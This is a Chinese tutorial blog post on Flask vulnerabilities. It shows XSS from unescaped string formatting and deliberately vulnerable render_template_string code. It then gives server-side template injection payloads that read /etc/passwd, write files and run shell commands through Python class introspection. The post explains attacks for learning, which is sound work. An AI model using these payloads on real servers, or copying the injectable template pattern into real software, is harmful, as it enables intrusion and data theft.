Python——flask漏洞探究



1|1hello world


我们先从基础的开始,在网页上打出hello world,python代码如下:

from flask import Flask app=Flask(__name__) @app.route('/') def test(): return 'hello world'

其中@app.route就有点类似于Java的@WebServlet了,上述代码中,当你在浏览器访问127.0.0.1:5000/时就能够看到输出了,5000是flask的默认端口

1|2模板


flask使用的渲染引擎是Jinja2,我们可以直接return一些HTML代码来实现网页的格式化,但是这样会导致XSS漏洞,如下

from flask import Flask,render_template,request,render_template_string app=Flask(__name__) @app.route('/',methods=['GET','POST']) def test(): code = request.args.get('test') html = '<html>%s</html>' return html%code

methods传参表示/仅接受GET,POST类型的传参,这里我们接受了名为testGET传参然后替换了html中的%s,当我们在网页中传参<script>alert(1)</script>就可以看到引起了XSS注入

render_template_string

为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染,代码如下

from flask import Flask,render_template,request,render_template_string app=Flask(__name__) @app.route('/',methods=['GET','POST']) def test(): html='<html>{{var}}<html>' test = request.args.get('test') return render_template_string(html,var=test)

{{}}为变量包裹标示符,在render_template_string传参即可替换{{var}}为GET传参变量test,再次进行XSS实验,可以看到已经被转义了

render_template

在py文件中写HTML有点麻烦,不直观。在flask中就有一种叫做模板的东西,我们可以借助render_template从templates文件夹中加载我们想要的html文件,然后对里面的内容进行修改输出。首先我在templates中放入这样的一个index.html:

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1>this is template html file</h1> <p>get var {{var}}<p> </body> </html>

index.py代码如下:

from flask import Flask,render_template app=Flask(__name__) @app.route('/') def test(): return render_template('index.html',var="test")

可以理解为我使用render_template函数引用了templates文件夹下面的index.html模板,然后传入一个参数var,用来控制模板中的{{var}},我们再到浏览器中看看

可以看到{{var}}已经被替换成了test,当我们传入XSS语句时是不会执行的,他同样会自动渲染

1|3SSTI文件读取/命令执行


SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式,产生该漏洞的代码如下

from flask import Flask,render_template,request,render_template_string app=Flask(__name__) @app.route('/',methods=['GET','POST']) def test(): code = request.args.get('test') html = '<html>%s</html>'%code return render_template_string(html)

当我们传入?test={{7*7}},神奇的事情发生了

接下来我在演示介绍一下如何利用这个漏洞实现文件读写和命令执行,其大致思路如下

找到父类<type 'object'>–>寻找子类 __subclasses__()–>找关于命令执行或者文件操作的模块

读取文件

  1. 获取’‘的类对象
>>> ''.__class__ <type 'str'>
  1. 追溯继承树
>>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>)

可以看到object已经出来了

  1. 继而向下查找object的子类
''.__class__.__mro__[2].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

耐心找一下,可以找到第40个为<type> 'file'

  1. 执行命令
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

执行完这条命令就能得到passwd文件了

写入文件

写入文件的方法和上面类似

''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1','w').write('123')

执行命令

执行命令有很多种方法,这里要找的是<class 'site._Printer'>,找一下,在第71个,那么我们执行命令

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

这样就可以加载到os模块并执行ls命令,命令执行结果方法不唯一,payload也不一定一致,但思路大体就是这样了

 

原文地址:https://www.cnblogs.com/LYD52199/p/14050432.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


Jinja2:是Python的Web项目中被广泛应用的模板引擎,是由Python实现的模板语言,Jinja2 的作者也是 Flask 的作者。他的设计思想来源于Django的模板引擎,并扩展了其语法和一系列强大的功能,其是Flask内置的模板语言。
Fullcalendar日历使用,包括视图选择、事件插入、编辑事件、事件状态更改、事件添加和删除、事件拖动调整,自定义头部,加入el-popover显示图片、图片预览、添加附件链接等,支持手机显示。
监听QQ消息并不需要我们写代码,因为市面上已经有很多开源QQ机器人框架,在这里我们使用go-cqhttp官方文档:go-cqhttp如果您感兴趣的话,可以阅读一下官方文档,如果不想看,直接看我的文章即可。
【Flask框架】—— 视图和URL总结
python+web+flask轻量级框架的实战小项目。登录功能,后续功能可自行丰富。
有了这个就可以配置可信IP,关键是不需要企业认证,个人信息就可以做。
本专栏是对Flask官方文档中个人博客搭建进行的归纳总结,与官方文档结合事半功倍。 本人经验,学习一门语言或框架时,请首先阅读官方文档。学习完毕后,再看其他相关文章(如本系列文章),才是正确的学习道路。
本专栏是对Flask官方文档中个人博客搭建进行的归纳总结,与官方文档结合事半功倍。基础薄弱的同学请戳Flask官方文档教程 本人经验,学习一门语言或框架时,请首先阅读官方文档。学习完毕后,再看其他相关文章(如本系列文章),才是正确的学习道路。 如果python都完全不熟悉,一定不要着急学习框架,请首先学习python官方文档,一步一个脚印。要不然从入门到放弃是大概率事件。 Python 官方文档教程
快到年末了 相信大家都在忙着处理年末数据 刚好有一个是对超市的商品库存进行分析的学员案例 真的非常简单~
一个简易的问答系统就这样完成了,当然,这个项目还可以进一步完善,比如 将数据存入Elasticsearch,通过它先进行初步的检索,然后再通过这个系统,当然我们也可以用其他的架构实现。如果你对这系统还有其他的疑问,也可以再下面进行留言!!!
#模版继承和页面之间的调用@app.route(&quot;/bl&quot;)def bl(): return render_template(&quot;file_2.html&quot;)主ht
#form表达提交@app.route(&quot;/data&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;]) #methods 让当前路由支持GET 和
#form表达提交@app.route(&quot;/data&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;]) #methods 让当前路由支持GET 和
#session 使用app.secret_key = &quot;dsada12212132dsad1232113&quot;app.config[&#39;PERMANENT_SESSION_LI
#文件上传@app.route(&quot;/file&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;])def file(): if request.meth
#跳转操作:redirect@app.route(&quot;/red&quot;)def red(): return redirect(&quot;/login&quot;)
#session 使用app.secret_key = &quot;dsada12212132dsad1232113&quot;app.config[&#39;PERMANENT_SESSION_LI
@app.route(&quot;/req&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;])def req(): print(request.headers)
#模版继承和页面之间的调用@app.route(&quot;/bl&quot;)def bl(): return render_template(&quot;file_2.html&quot;)主ht
#文件操作:send_file,支持图片 视频 mp3 文本等@app.route(&quot;/img&quot;)def img(): return send_file(&quot;1.jpg&q